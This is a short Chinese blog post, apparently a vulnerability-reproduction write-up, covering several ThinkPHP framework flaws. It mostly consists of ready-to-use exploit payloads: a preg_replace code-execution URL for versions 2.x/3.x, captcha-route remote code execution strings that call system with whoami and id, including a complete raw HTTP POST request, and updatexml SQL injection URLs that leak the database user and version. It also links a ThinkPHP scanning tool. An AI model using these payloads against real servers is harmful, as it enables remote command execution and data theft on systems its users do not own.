type
status
date
slug
summary
tags
category
icon
password
0x00 thinkphp简介
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。
0x01 ThinkPHP 2.x 3.x 任意代码执行
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由,
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞,ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
payload:/index.php?s=/index/index/name/$%7B@phpinfo()%7D
0x02 Thinkphp5 5.0.22/5.1.29 远程代码执行
漏洞位置:/index.php?s=captcha
payload:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
0x03 ThinkPHP5 5.0.23远程代码执行
POC:post请求
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.222.134:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
0X04 ThinkPHP5 SQL注入漏洞/信息泄露
信息泄露payload:/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
sql注入payload:/index.php?ids[0,updatexml(0,concat(0xa,@@version),0)]=1
ThinkPHP 检测工具:https://github.com/Lucifer1993/TPscan
- 作者:告白
- 链接:https://www.gbsec.top/article/ThinkPHP%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9E%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8CSQL%E6%B3%A8%E5%85%A5%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E5%A4%8D%E7%8E%B0%EF%BC%88%E9%99%84%E6%A3%80%E6%B5%8B%E5%B7%A5%E5%85%B7%EF%BC%89
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
相关文章